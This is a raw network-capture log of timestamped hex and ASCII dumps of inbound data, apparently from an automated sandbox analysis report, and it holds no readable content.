60 dc 8b 38 d0 bd 1d c4 e3 3c ff 6c 09 57 ab 13 cb f7 4c 70 b3 34 73 58 7f 07 fe 80 e3 ee f4 f0 a8 cd ac cf 33 17 16 ad 10 
99 dd c8 9c 50 b7 0e 48 cd 42 e7 7a 5d f1 
Data Ascii: 'k[>>li6}vD4\f@yAoqdq.~+c^Cm:.e6bp:h?7&@NWBEQ"t/yT{M0<$`8<lWLp4sX3PHBz]

2022-09-20 10:10:08 UTC 4848 IN Data Raw: 2e 42 86 7a 04 5b 8d b2 98 3e 7d cb a7 1b af 32 b4 52 4a 16 b9 21 22 b2 28 26 d5 b2 24 cd c5 d2 f1 5e 1a 33 
9d 36 3c 54 8e dc 8b c8 a3 e8 5b c0 1e 2d 9a a9 fc 38 5a 32 db f2 e4 a3 5a 29 8b 9a a2 1a b8 ce d4 fc b3 b6 f8 29 91 7e 
31 86 e7 24 13 dd d3 d2 b1 e1 be 9c 21 91 24 ec 61 05 fb dd f6 68 9e f6 75 c5 ba 3f 3b 46 89 49 f6 5f 1f 8b 61 0c 47 6f 09 
a7 ef 2e 2d 98 52 cd 45 87 b7 f4 85 7b f3 d5 84 33 99 d4 2c e8 72 ac a5 b4 7b 9a 8b c7 98 f7 66 5c f8 d8 15 52 de 69 1b 
8a c7 d9 a9 e2 b3 23 11 7b 00 0c fb 36 9b 24 af a8 6b bb 92 27 8b 20 3d 1d 2d 46 87 77 f2 fb ce 1b e7 25 98 a1 32 24 50 
76 5a d2 fc 51 8f 69 de 86 f6 d2 02 93 c8 dd c6 68 70 ca d1 7e 24 49 42 7f 24 43 cb 4b 84 97 a5 5c a3 f1 28 8e 59 4b 07 
7b 38 35 ef 8c 29 9a 1f 34 a6 f3 51 d2 7c 64 38 37 0b 
Data Ascii: .Bz[>}2RJ!"(&$^36<T[-8Z2Z))~1$!$ahu?;FI_aGo.-RE{3,r{f\Ri#{6$k' =-Fw%2$PvZQihp~$IB$CK\(YK{85)4Q|d87

2022-09-20 10:10:08 UTC 4856 IN Data Raw: f7 1d c2 de 65 21 ef 4a 96 2c 6f 27 6d a5 84 3e c7 f9 06 72 d3 14 31 14 02 b9 79 8a 2a 3e b8 fe ce 1e 20 d1 
a9 ca 03 ae 43 a7 5a a3 f6 f7 49 50 ae e0 8f bd e1 05 d5 17 83 bc 82 29 25 af a9 c2 7b 1e 48 15 73 82 9c 33 45 cc f5 d7 
76 c0 11 67 1c f1 78 98 9d d0 dc 7b 6a 48 2b c6 d7 ba c9 db 12 37 4e 16 de 20 2f 0b 67 15 c8 2b 93 55 e4 e1 7a 9b 3d 40 
fe e2 79 c0 f5 c5 64 c3 5a 55 7c ef 22 78 eb 64 36 0d d0 e7 05 5b c5 2b 32 3c 39 55 e0 a0 f1 dc e5 71 97 bf e2 c9 2f 77 
02 17 64 3e ca f1 de e1 05 88 21 c0 9b ec 7c 53 6a 2a 70 d2 ce 79 ce 50 6a cf fd 28 96 52 7e 1c 7b 26 1a 96 cf 3f 9c a6 
bd 34 64 f8 bc 69 fa e0 7a 91 7c df 99 2a 16 e5 47 76 c0 e1 9c 29 74 1d 7e 26 87 12 78 30 a6 25 e4 71 06 f3 81 5c 2e 9c 
95 20 57 9e a9 32 12 ae f7 cf 0c 35 bd 69 04 af e4 e0 e0 
Data Ascii: e!J,o'm>r1y*> CZIP)%{Hs3Evgx{jH+7N /g+Uz=@ydZU|"xd6[+2<9Uq/wd>!|Sj*pyPj(R~{&?4diz|*Gv)t~&x0%q\. 
W25i

2022-09-20 10:10:08 UTC 4864 IN Data Raw: 5f 68 a7 5b da 18 ef 78 e9 bc e5 a7 c6 b8 cb 96 ff b8 95 ca 7e 2a 73 58 aa 79 c1 7e d2 87 28 fb 79 30 54 0e ec 
e7 b6 e3 95 fd 84 cf 3d 61 3f 3b 9c ce ed 07 b6 31 f8 44 65 1b 78 57 ca 8e 38 ca 7d 74 37 ca 7d da c1 aa dc 71 32 50 f8 
48 e6 1e af dc 5b eb d3 c9 1a 6b 16 fb 16 5a 89 f1 9d b7 d8 9f a1 dd 18 af b7 7e 07 f6 e2 f7 c2 b8 a5 8d 37 24 66 34 64 
5a c5 ce 7d bf ed 3d 0c eb ae 13 f4 50 c7 f6 d2 ca 54 20 13 7b f1 1a ac 1f ea 0c 42 b6 1a a1 ce ed c5 87 db f9 3c 0d bd 
78 97 ad 8f ac c4 5a ef 09 ba d5 5d d9 8b d7 25 7c 5d 37 10 12 bb 5a 97 fc 43 ac 0e 9f a0 23 3b 21 f9 44 1d d9 43 c8 3e 
03 f9 14 92 27 ea 48 41 6f b5 01 59 e9 1a d8 9b cf f2 f3 63 38 ac 37 cf b6 7c e4 eb 84 ec 31 e4 4c 23 24 76 92 8e 2c 20 
24 65 20 ed bd f9 6d 3c 5f ce 75 84 cc 35 d2 f5 04 21 
Data Ascii: _h[x~*sXy~(y0T=a?;1DexW8}t7}q2PH[kZ~7$f4dZ}=PT {B<xZ]%|]7ZC#;!DC>'HAoYc87|1L#$v, $e m<_u5!

2022-09-20 10:10:08 UTC 4872 IN Data Raw: 5c cb 9a 52 e3 45 d6 c6 78 98 3f 69 e9 52 14 f4 ea 99 35 99 e5 5e 7b 97 d1 93 d0 cc 4b 7d 19 5e 74 97 13 20 
4f fe 99 4a fe 04 21 95 63 36 bd 59 e4 a4 c8 2b 2f 8e d3 3d 7b 9a 4c 85 d9 40 cd 87 ac ab 08 5a 26 26 00 21 1e 71 8a 46 
2a 23 da 16 19 2b 25 8f 1f 51 f2 1b 44 34 e3 49 d7 d4 52 91 91 5d 36 10 23 22 9e 11 96 bb 34 2e c6 48 34 22 69 6a 6a 
68 0d f1 40 7b 9e a6 f4 c1 a7 a9 66 19 56 1b db 96 64 44 ff 14 5f 91 4c 67 d0 9e 8b 7c 80 05 af 6a d4 72 46 15 9a d6 99 
25 96 b5 65 5a 9b 92 b2 3a 31 c7 ec b6 d6 54 5b 6b 19 9e 27 54 b6 d2 8c ad 6e 12 db b1 90 d7 10 94 17 af 69 ca d4 79 
f3 04 6e 47 34 6e 7e 8c ae 8c 4f 8c dd 2a 93 4d 35 a9 7a b2 8f 49 aa d6 18 56 d4 2d fb e9 a4 02 84 2a b1 ec ad ac 2d 45 
a3 09 62 94 75 61 9c 27 7a 1e 0d a9 a8 01 9f 29 07 50 bc 52 91 
Data Ascii: \REx?iR5^{K}^t OJ!c6Y+/={L@Z&&!qF*#+%QD4IR]6#"4.H4"ijjh@{fVdD_Lg|jrF%eZ:1T[k'TniynG4n~O*M5zIV-*-
Ebua'z)PR

2022-09-20 10:10:08 UTC 4880 IN Data Raw: 66 60 7e b6 c9 b0 93 5f 99 76 32 24 db c9 9a eb 54 5d e4 89 7d 35 4f ec 45 8d ac be dd 55 63 a9 91 b3 bd ca 
b2 09 a9 51 7c 31 e7 61 2b f1 50 52 c4 78 b8 d5 0b 1a 59 dd ca 55 63 a5 91 1d bd d6 e2 d0 a1 b6 e9 f6 0f a0 6a d7 ca 1a 
59 ed c9 ac 51 35 d2 df ce 42 23 e3 75 8d 44 61 e1 da d9 fb 17 22 14 f3 b8 ae 98 d5 9e c9 35 aa 62 2e 6f 27 2b 66 41 cb 
d8 b5 fb c6 08 89 3b 35 43 2e 44 ac b4 0c 68 a9 8e 07 d7 c7 00 8f 81 d1 cc 32 6b d1 5e b2 16 64 6c c1 2e f6 77 f9 81 fa 
da 25 82 b1 cd fa a3 2e de 72 0f 8a 37 a2 2c 73 1c 8d 58 17 12 f3 1e 12 f3 e4 22 87 94 0e 17 54 64 c5 f3 7e ea bb 73 0b 
d0 d3 15 e8 98 19 c4 24 13 22 40 ce d7 2e 88 d5 86 07 3c 93 83 aa 39 9e 6c ff 0d 62 ea fc 23 4d e6 40 95 2b c8 27 73 c0 
7a 32 5f 6e 11 d3 eb 4f 3f ab 69 d9 6d 7c 3d a4 c4 3e ad 
Data Ascii: f`~_v2$T]}5OEUcQ|1a+PRxYUcjYQ5B#uDa"5b.o'+fA;5C.Dh2k^dl.w%.r7,sX"Td~s$"@.<9lb#M@+'sz2_nO?
im|=>

2022-09-20 10:10:08 UTC 4887 IN Data Raw: 09 d0 cc 75 7e 1a 7f 44 da 6d 40 1a b0 4b 8f 24 62 21 b7 0c 66 48 77 63 85 ea 2c d9 9d f8 5a b2 1a 87 f1 3a 
8c ba 7d f2 49 ba b9 93 e6 0d 29 ea 75 bf 22 ee 0c aa 4d 18 37 81 07 1b 74 b1 c6 40 b1 ae 9d 8d 45 c9 36 d4 a6 d5 71 
65 7f 03 6a 60 29 14 6d dc 6f 80 d8 24 87 4d 3e f1 2b 3a 68 68 49 96 4c 26 b0 cf 0e c1 33 50 61 9d fe df f3 6f b0 0b 21 37 
67 c6 9b 2f 1f 1a 89 9b 22 62 f2 b6 eb c0 ff 21 3e d0 e0 6c 8b 37 97 12 01 53 41 30 77 02 cc 89 b8 40 83 01 50 cc a4 44 
c0 88 54 07 51 00 b3 2a ce dc 2e 84 48 2b e2 cc a5 44 20 bd 4e 48 c7 06 31 a4 9b b1 42 a7 6c 7f a6 c5 e0 42 88 6a ac 
30 11 69 7a 52 8d c1 c3 6d bb d4 df e2 84 3b dc a9 a2 e4 b3 10 85 38 dd 06 5a 04 ff 88 34 23 cf 43 ab eb 72 4e bd ff 8b 
a4 73 e4 05 c9 4d ab ec f4 d3 37 ea 82 a7 c9 6b 8b 43 6e 9b 
Data Ascii: u~Dm@K$b!fHwc,Z:}I)u"M7t@E6qej`)mo$M>+:hhIL&3Pao!7g/"b!>l7SA0w@PDTQ*.H+D NH1BlBj0izRm;8Z
4#CrNsM7kCn

2022-09-20 10:10:08 UTC 4895 IN Data Raw: 79 93 c9 7b 73 18 bc c9 e0 35 93 45 a2 e0 35 81 37 11 bc a6 18 e7 35 90 f7 c6 30 78 0d e0 35 92 c5 cc e7 2a 
ef ec e7 9c 97 ff 2d db f8 71 2c f3 4e 7d 4e 4f c5 9f cf cd cb af 95 ad d3 64 e1 11 bc 93 e0 f5 80 77 32 10 6f cc b6 5e 6e 62 
19 0f 83 de 0d fa 71 b2 70 09 fa 31 d0 bb 40 3f 16 e3 d1 76 92 f7 a3 61 f0 3a c1 3b 4a 16 c3 82 77 04 bc c3 e0 1d 89 71 
5e 07 79 3f 14 06 af 03 bc 43 64 61 17 bc 83 e0 b5 83 77 30 c6 79 fb c9 fb 81 30 78 fb c1 3b 40 16 bd 82 b7 0f bc bd e0 
ed 8b 71 de 6e f2 be 27 0c de 6e f0 f6 90 45 a7 e0 ed 02 6f 27 78 bb e2 aa f5 6a 23 96 f6 30 e8 db 40 df 4e 16 2d 82 be 
15 f4 2d a0 6f 8d f1 68 37 92 f7 cd 61 f0 36 82 b7 99 2c ea 04 6f 3d 78 eb c0 5b 1f e3 bc d5 e4 7d 4d 18 bc d5 e0 ad 21 8b 
4a c1 5b 05 de 4a f0 56 c5 38 6f 39 79 5f 11 06 
Data Ascii: y{s5E5750x5*-q,N}NOdw2o^nbqp1@?va:;Jwq^y?Cdaw0y0x;@qn'nEo'xj#0@N--oh7a6,o=x[}M!J[JV8o9y_

2022-09-20 10:10:08 UTC 4903 IN Data Raw: de 16 75 df 36 e0 6d c1 db a6 8a 06 7b 9b f0 36 e0 6d 3a dc 5b a3 ee eb 06 bc 35 78 eb 54 51 61 6f 15 de 0a 
bc 55 87 7b 4b d4 7d d9 80 b7 04 6f 99 2a 0a ec 2d c2 5b 80 b7 a8 d4 dd 2b 47 96 bc 01 7d 0e fa 3c 55 64 58 9f 85 3e 03 
7d d6 e1 d3 4e 51 f7 69 03 de 14 bc 69 aa 48 b0 37 09 6f 02 de a4 c3 bd 31 ea 3e 6e c0 1b 83 37 4e 15 11 f6 46 e1 8d c0 
1b 75 b8 37 44 dd 87 0d 78 43 f0 86 a9 22 c0 de 20 bc 01 78 83 0e f7 fa a8 7b bf 01 af 0f 5e 3f 55 78 d8 eb 85 d7 03 af 57 
a9 bb 97 8b 2c 6e 03 7a 17 f4 6e aa 78 fa db bb fe f9 6f f1 27 b0 bf c5 9f c0 fe d6 d9 d3 7e fc 5b fa a4 fc b7 06 3e 29 ff 2d 
3e 29 53 c5 85 bd 57 78 2f f0 5e 1d ee 3d 51 f7 67 03 de 13 bc 67 aa 38 b0 f7 08 ef 01 de a3 c3 bd 3b ea 7e 6f c0 bb 83 
77 4f 15 1b f6 6e e1 dd c0 bb 75 b8 77 45 dd af 
Data Ascii: u6m{6m:[5xTQaoU{K}o*-[+G}<UdX>}NQiiH7o1>n7NFu7DxC" x{^?UxW,nznxo'~[>)->)SWx/^=Qgg8;~owOn
uwE

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4911 IN Data Raw: b0 77 08 ef 00 de a1 c3 bd 3d ea be 6f c0 db 83 b7 4f 15 1d f6 76 e1 ed c0 db 95 dd bd 1e 94 38 7d b1 c0 4f 
e1 17 f1 14 7e 01 4f e1 17 95 3b 4d 20 c7 8e 3c 1c 39 38 f2 ca 39 32 ec c8 c2 91 81 23 ab 9c 23 c5 8e 34 1c 29 38 d2 ca 
39 12 ec 48 c2 91 80 23 a9 9c 23 c6 8e 38 1c 31 38 e2 ca 39 22 ec 88 c2 11 81 23 aa 9c 23 c4 8e 30 1c 21 38 c2 ca 39 
02 ec 08 c2 11 80 23 a8 9c c3 c7 0e 3f 1c 3e 38 fc ca 39 3c ec f0 c2 e1 81 c3 ab 9c c3 c5 0e 37 1c 2e 38 dc ca 39 9e fe df 
bb e3 f9 ff d5 1d fa cf 0f 6f f5 d7 6a 39 1e d9 71 83 e3 11 8e 9b 72 8e 0b 3b ae 70 5c e0 b8 2a e7 38 b1 e3 0c c7 09 8e b3 
72 8e 03 3b 8e 70 1c e0 38 2a e7 d8 b1 63 0f c7 0e 8e bd 72 8e 0d 3b b6 70 6c e0 d8 2a e7 58 b1 63 0d c7 0a 8e b5 72 
8e 05 3b 96 70 2c e0 58 2a e7 98 b1 63 0e c7 0c 8e b9 72 
Data Ascii: w=oOv8}O~O;M <9892##4)89H##8189"##0!89#?>89<7.89oj9qr;p\*8r;p8*cr;pl*Xcr;p,X*cr

2022-09-20 10:10:08 UTC 4919 IN Data Raw: 8f d7 75 18 dd 35 81 ee a0 c5 2e a3 5b 8c 6e 4b d0 2d 54 b5 05 ba 21 d0 4d ec 61 41 6b da 85 ae 31 ba 6e 02 
5d 43 8b 75 46 57 18 5d 95 a0 2b a8 aa 0a 74 49 a0 cb d8 c3 82 56 b6 0b 5d 60 74 d1 04 ba 80 16 8b 8c ce 31 3a 2f 41 
e7 50 95 17 e8 8c 40 67 b1 87 05 2d 6b 17 3a c5 e8 b4 09 74 0a 2d a6 19 9d 60 74 52 82 4e a0 2a 29 d0 31 81 8e 63 0f 
0b 5a fc 45 f4 eb 69 00 56 dd cf 23 3c fb a8 89 d9 47 30 a9 28 cf 3e c4 b3 0f 4b 66 1f 42 55 58 cc 3e 20 66 1f c4 1e 16 b4 
a0 5d 6f 78 1f a3 fd 26 d0 3e b4 e8 67 b4 87 d1 5e 09 da 83 2a af 40 bb 04 da 8d 3d 2c 68 6e bb d0 4f bf 76 47 3f ff 9a 89 
33 56 7f 4d 6f 51 af a4 33 56 7f ed 8e be fd 9a e4 8c 55 54 dd 7e 8d d1 97 5f 63 f4 15 7b 58 d0 f4 d7 b6 a0 4f 8c 3e 9b 40 
9f d0 e2 99 d1 07 46 1f 25 e8 03 aa 8e 02 bd 13 e8 3d 
Data Ascii: u5.[nK-T!MaAk1n]CuFW]+tIV]`t1:/AP@g-k:t-`tRN*)1cZEiV#<G0(>KfBUX> f]ox&>g^*@=,hnOvG?3VMoQ
3VUT~_c{XO>@F%=

2022-09-20 10:10:08 UTC 4926 IN Data Raw: c6 e8 b9 04 3d 43 d5 5c a0 27 02 3d c5 1e 16 b4 a9 5d e8 11 a3 c7 26 d0 23 b4 38 66 f4 80 d1 43 09 7a 80 aa 
a1 40 f7 04 ba 8f 3d 2c 68 7d bb d0 1d 46 77 4d a0 3b 68 b1 cb e8 16 a3 db 12 74 0b 55 6d 81 6e 08 74 13 7b 58 d0 9a 
76 a1 6b 8c ae 9b 40 d7 d0 62 9d d1 15 46 57 25 e8 0a aa aa 02 5d 12 e8 32 f6 b0 a0 95 5f ef e7 b6 de cf 0b 3c fb a2 89 
d9 17 30 a9 22 cf 3e c7 b3 cf 4b 66 9f 43 55 5e cc 3e 23 66 9f c5 1e 16 b4 ac 5d 6f f8 14 a3 d3 26 d0 29 b4 98 66 74 82 
d1 49 09 3a 81 aa a4 40 c7 04 3a 8e 3d 2c 68 71 bb d0 11 46 47 4d a0 23 68 31 ca e8 10 a3 c3 12 74 08 55 61 81 0e 08 
74 10 7b 58 d0 82 76 a1 7d 8c f6 9b 40 fb d0 a2 9f d1 1e 46 7b 25 68 0f aa bc 02 ed 12 68 37 f6 b0 a0 b9 ed 42 3f 7d f3 
8e 7e fe a6 89 c3 45 bf 89 8f 17 df bc a3 1f bf 79 47 df be 29 
Data Ascii: =C\'=]&#8fCz@=,h}FwM;htUmnt{Xvk@bFW%]2_<0">KfCU^>#f]o&)ftI:@:=,hqFGM#h1tUat{Xv}@F{%hh7B?
}~EyG)

2022-09-20 10:10:08 UTC 4934 IN Data Raw: 76 a1 77 8c de 9b 40 ef d0 e2 9e d1 1b 46 6f 25 e8 0d aa b6 02 bd 12 e8 35 f6 b0 a0 ad ed 42 2f 18 bd 34 81 
5e a0 c5 25 a3 67 8c 9e 4b d0 33 54 cd 05 7a 22 d0 53 ec 61 41 9b da 85 1e 31 7a 6c 02 3d 42 8b 63 46 0f 18 3d 94 a0 
07 a8 1a 0a 74 4f a0 fb d8 c3 82 d6 7f 11 6d f0 f4 c5 8e 5e 8c d3 17 bb 7a 98 7e fa 62 07 a9 dd f7 52 ed 38 7d b1 35 a4 
47 2d f5 ab 7d a6 ff f4 f0 56 7f 6d c5 41 46 14 dd 44 74 03 d1 4d 6b a2 6b 14 5d 47 74 0d d1 75 6b a2 2b 14 5d 45 74 05 
d1 55 6b a2 4b 14 5d 46 74 09 d1 e5 0f 46 5b 7c 84 57 81 2e 5e c4 c5 0b b8 78 d1 1a 57 8e a2 f3 88 ce 21 3a 6f 4d 74 86 
a2 b3 88 ce 20 3a 6b 4d 74 8a a2 d3 88 4e 21 3a 6d 4d 74 82 a2 93 88 4e 20 3a f9 a9 06 1d a3 8b c7 71 f1 18 2e 1e b7 
c6 15 a1 e8 28 a2 23 88 8e 5a 13 1d a2 e8 30 a2 43 88 0e 5b 13 
Data Ascii: vw@Fo%5B/4^%gK3Tz"SaA1zl=BcF=tOm^z~bR8}5G-}VmAFDtMkk]Gtuk+]EtUkK]FtF[|W.^xW!:oMt :kMtN!:
mMtN :q.(#Z0C[

2022-09-20 10:10:08 UTC 4942 IN Data Raw: 75 fe 09 a3 1c 9c e5 f1 41 8e fb bc 46 55 95 cb 5d d6 2f fe a9 fa 99 bb e8 67 09 b7 5f 47 f5 0d f7 67 19 9c fc 82 
2e 29 6f ba 2e b9 d6 54 4c ae 35 39 73 4d 4e 99 22 73 4d 8e b8 ec 74 cf 5c 93 1d a7 44 20 e7 9a 9c 28 be ab 7c d5 24 
ee f4 fa 02 56 31 72 47 95 b3 de d3 07 72 e6 2a 93 47 f6 81 dc 51 7d 97 ec 2a 1f c8 69 ef b1 f0 86 fc 69 76 ae 65 e4 fc 51 
ba 40 ce 1f 19 81 fb 0a 54 e9 3b 39 0d 8a 9c 56 e5 a8 5d 87 e1 c2 6b 9c b4 0e 17 72 b7 f9 cc c3 c5 67 19 28 8b 1a 34 36 
3b 07 0d 39 76 45 ae bf e5 6c 51 ba 5e 5e d1 c8 c1 f6 5a 7f 3a 56 34 b2 c3 bc de ca ad 2b 1a 39 5a 5e 0e f3 5d d1 c8 69 
e3 95 b2 d6 c8 c9 39 5b d4 d2 62 ab 7f e4 94 a3 b6 dc 5d e5 00 cc 73 a8 93 b1 bb 2c 66 fd 73 e6 3a f4 98 85 fb bd a8 1e 
b3 dd e9 77 d9 7d 45 fa 5d 46 2f 1b e0 fa a2 2e e3 
Data Ascii: uAFU]/g_Gg.)o.TL59sMN"sMt\D (|$V1rGr*GQ}*iiveQ@T;9V]krg(46;9vElQ^^Z:V4+9Z^]i9[b]s,fs:w}E]F/.

2022-09-20 10:10:08 UTC 4950 IN Data Raw: f2 3b 0a 9e 5c c5 37 ab b1 9d f2 3b 0e 7e 60 c5 77 02 5c 8b 21 27 2c e7 64 ab f8 84 6c db e4 77 08 9c 7d 89 
ef 30 78 0d 13 df 0e b8 35 13 df 11 70 6a 26 be a3 e0 44 4d 7c c7 c0 7d 9a f8 8e 83 ab 36 f1 9d 00 27 6d 7c a6 9b 6c e5 
3e cc aa 6a 33 c9 36 f8 cc 65 e0 14 56 3b 7c 0e 64 aa 1a 32 c9 0e f8 1c cc c0 79 aa 4e f8 1c ca 54 31 79 77 c1 67 3e 03 
27 a3 f6 06 d1 09 1e 33 22 c9 2c 7c 16 32 b0 4a 80 6f 19 8d 66 98 39 49 f6 71 3f 6b bc 0e aa fa d3 0e ff 6c ac 04 67 83 e9 
12 19 0a 65 98 a6 aa 50 38 93 1c d4 21 70 ff a4 43 11 e8 47 55 28 0a dd a9 0a c5 32 c9 82 0e c5 33 c9 51 1d 4a c0 73 
56 25 86 b6 3c 7c ee ff fe 7b 56 e7 9e fb ff f0 3d ab cb cf 31 ef 59 15 79 cf 13 c6 cb 38 18 c6 b1 43 0b bf 6f 01 29 cc e8 40 
e2 0b c9 fc 99 bb 21 69 59 4f 60 f0 96 d4 2c 32 9d 
Data Ascii: ;\7;~`w\!',dlw}0x5pj&DM|}6'm|l>j36eV;|d2yNT1ywg>'3",|2Jof9Iq?klgeP8!pCGU(23QJsV%<|{V=1Yy8Co)@!iYO`
,2

2022-09-20 10:10:08 UTC 4958 IN Data Raw: 43 a5 94 22 4a 43 ea a7 88 46 fb 51 8a 38 78 22 8a 68 a8 94 52 44 69 48 fd 14 d1 68 3f 4a 11 fb 5c 8a e8 36 
a4 ed c7 bd 0c 69 db 71 c3 90 b6 1d a7 86 94 ba e1 11 fa eb 08 4d 8c 58 fa eb 4c aa bf 96 d6 2b fd 0d 79 e8 af e9 51 c1 
53 7f 2d 4d 54 fa 2b 07 03 de fa 6b 35 22 a5 bf bc 11 4d 53 7f 0d 4d 54 fa 2b 2d b9 9f fe a2 97 0d d9 ec 94 fe 8e 9d 88 fe 
1a 9a a8 f4 57 5a 72 3f fd 35 9a 9d d2 df fc 89 e8 af a1 89 4a 7f a5 25 f7 d3 5f a3 d9 29 fd cd b9 f4 d7 9f 81 4e 49 ca b0 
e4 1d c7 2d 4b de 61 32 d0 ee d9 ec 94 f6 67 5d da 6f 32 40 3d 4a 6d f4 6c 09 52 a7 55 4b d8 e0 a9 84 56 4b 50 4a 18 32 
95 d0 a5 f9 db 3c 35 5f aa 90 d2 fc 1a 33 d3 6a 4f cd 97 ed 45 68 fe 96 a2 c4 ae 54 c8 d0 7c a9 42 4a f3 1b 4c 06 54 7b 
31 34 5f b6 17 a1 f9 b5 45 31 a0 54 c8 d0 7c a9 42 
Data Ascii: C"JCFQ8x"hRDiHh?J\6iqMXL+yQS-MT+k5"MSMT+-WZr?5J%_)NI-Ka2g]o2@=JmlRUKVKPJ2<5_3j
OEhT|BJLT{14_E1T|B

2022-09-20 10:10:08 UTC 4966 IN Data Raw: a0 ba 42 49 20 d5 b3 4d 5a 1f e9 b3 c8 34 3d 87 2e cb 82 ab 1d 6c e8 d8 58 fb 32 f0 b6 8e 7e 60 a7 0f 2c 90 
7a 63 a7 0f cc 90 7a 66 a7 0f 6c 91 7a 69 a7 0f 0c 92 7a 6c a7 0f ac 92 7a 6f a7 0f 4c 93 7a 72 a7 0f ec 93 7a 75 a7 0f d6 
75 d5 c3 3b 7d b0 ac cb 2c 69 15 53 f1 fe ee c2 f9 41 de 7e fb 65 e7 c1 cc 01 76 4e dd 85 05 41 de 30 55 3f 05 3d 14 6b 
66 03 02 0b 3e 15 d6 40 06 bb 37 81 05 9f 0a 8b f5 79 ac 61 0c 09 2c f8 54 58 43 99 aa 61 94 34 62 c1 a7 c2 ca 67 aa 0a 
4c da 02 0b 3e 15 d6 70 a6 6a 34 93 2c 08 2c f8 54 58 85 4c d5 58 26 39 2a b0 e0 53 61 8d 66 ae 65 96 6e 8c 61 19 b7 
eb 82 7d 68 01 c7 14 89 b1 d3 a2 f1 17 4d b2 9f 59 6e 14 c4 69 19 f9 cb 08 91 82 b9 54 e1 6c fe e8 19 26 0a 49 0d 88 44 
fe ec 99 4a 19 94 e5 12 e5 cf ab 94 bc e4 5d 94 b1 a0 52 
Data Ascii: BI MZ4=.lX2~`,zczflzizlzoLzrzuu;},iSA~evNA0U?=kf>@7ya,TXCa4bgL>pj4,,TXLX&9*Safena}hMYniTl&IDJ]R

2022-09-20 10:10:08 UTC 4973 IN Data Raw: 88 76 09 bf 70 bb 8d 27 e0 05 37 11 17 92 71 21 1d 17 96 71 61 1d e7 c8 38 47 c7 45 64 5c 44 c7 45 65 5c 54 
c7 c5 64 5c 4c c7 c5 65 5c 5c c7 25 64 1c 5c 88 73 8d b8 60 9f 83 99 1a 98 ad 31 51 4f 96 cc c6 64 f5 71 28 79 a3 b1 90 
24 26 9b 8e 5c 4a 02 03 17 9f d0 6b 47 62 ac 24 97 87 1c 9e aa c6 4a 72 25 26 a4 17 77 14 48 c8 5c 5b 09 e9 a5 19 05 
12 36 57 46 42 7a 61 45 81 38 e6 ba 46 48 2f 8b 28 90 88 b9 2a 11 d2 8b 1a 0a 24 6a ae 29 84 f4 92 84 02 89 99 2b 02 
21 bd a0 a0 40 e2 e6 7c 3e a4 97 03 14 88 1c 19 7b 0e 71 ed da 9a 0a 08 ea 0c cf 7a 34 46 64 9d 45 27 e4 e6 22 19 65 6
1 24 8e b2 1c 51 75 b8 13 cc 5b 6e 0c 31 78 84 ea 9b 24 5c 64 c2 1e 65 45 65 0c 1f 36 38 22 d8 12 53 6d 57 46 f1 b6 ab 
c9 d3 3e 4a 84 79 db 8d 4c d8 a3 ac a8 8c a1 99 84 dc 99 84 5c 65 
Data Ascii: vp'7q!qa8GEd\DEe\Td\Le\\%d\s`1QOdq(y$&\JkGb$Jr%&wH\[6WFBzaE8FH/(*$j)+!@|>{qz4FdE'"ea$Qu[
n1x$\deEe68"SmWF>JyL\e

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4981 IN Data Raw: cb e5 3a fd e9 37 0c fe fb de 30 e0 17 85 5b 4d 81 b7 99 d5 71 fa 25 83 d3 2f 19 fc 0f bf 64 e0 e5 87 a8 ef 57 
e3 13 2a 3e 24 4c 09 42 0c 0b 13 f4 d5 fa f1 09 1d 9f 41 93 88 47 8b 7e 62 39 73 fc fa f7 d4 8a cf 3a 9c 80 f5 18 9b 07 a5 
7c 7e 83 53 b8 bb 3e 07 db 12 3d 6c 7a 0f 11 c9 9c 5e d4 cf f1 89 1e 2e 8e 6c fa 33 18 df 7e 66 52 99 c5 84 c5 b2 fe 06 
07 a7 fd 0b cb f6 88 8f d4 53 77 b9 e3 1e af 68 70 9a 0c 07 09 3a e7 59 3f 39 34 c1 67 50 e4 a6 f0 5f be 5b c4 ca 1a ae 4c 
e5 61 f9 53 31 3b 46 56 09 7f f8 27 9c f1 6a 66 47 81 b1 51 c9 d8 a8 66 d6 8c 43 66 5d 1c bd fd bb fa 62 de 21 31 a1 e5 
e7 28 a0 33 82 ed 62 b2 6d 82 67 46 f9 25 ba 39 01 7e 89 8e bf f8 c5 e3 ca 45 9c e2 9b 9f 75 e3 3b 03 42 0d f6 9f 83 3b 
03 13 76 3f 23 dd 62 be e5 b7 13 13 da e9 31 df 
Data Ascii: :70[Mq%/dW*>$LBAG~b9s:|~S>=lz^.l3~fRSwhp:Y?94gP_[LaS1;FV'jfGQfCf]b!1(3bmgF%9~Eu;B;v?#b1

2022-09-20 10:10:08 UTC 4989 IN Data Raw: 77 3d 65 32 59 67 31 f9 5d c1 e4 53 7f 60 4c 56 3d e5 ea cd ef 7c fb a4 e3 96 6f 7c f3 9b 2f 74 4b e6 05 56 a6 
7b 45 a6 5b 44 a6 8f 88 4c 6f 81 4c f3 4f a2 64 60 2f 17 ef 1a 33 d5 a2 0c 1c 7f 9b 62 60 93 5f d7 85 8f 13 f6 d0 41 45 3f 
2c 9c 57 31 95 ed 0b f2 13 99 03 b8 26 9e 27 36 aa 37 59 80 9f d4 f6 fe 40 f5 2c b8 cb 24 4f 3a fc 1d e7 5b 62 d7 01 ed ff 
a7 a4 e3 db 31 ec c0 73 1f 16 90 bd a5 d8 0d c1 c5 c2 db 44 54 27 22 8f d5 67 e5 d9 de af 94 fa 75 30 ef 7c 36 18 38 f0 
26 7e 58 10 46 08 f0 06 16 6f 71 73 72 70 8e 22 59 08 a6 b6 17 66 94 d5 2f 16 30 85 b3 53 f9 ab d3 dd 64 e3 fb d3 79 26 
59 38 24 d1 c3 35 e8 79 ac ed 05 71 20 71 35 ab 8f f9 ea c0 a2 40 d8 1f 38 03 e9 84 4f 11 9d 59 a7 84 ce c9 13 11 55 29 
ea 37 95 c4 47 b5 ae 48 8e 96 7d f4 7e d8 78 da 
Data Ascii: w=e2Yg1]S`LV=|o|/tKV{E[DLoLOd`/3b`_AE?,W1&'67Y@,$O:[b1sDT'"gu0|68&~XFoqsrp"Yf/0Sdy&Y8$5yq 
q5@8OYU)7GH}~x

2022-09-20 10:10:08 UTC 4997 IN Data Raw: a3 f0 01 96 30 f2 21 8d e0 08 84 37 43 fc 5b ef 3f a4 f4 e6 90 a5 37 2b 3f 39 b9 de 34 08 bd f9 80 d0 9b df 67 
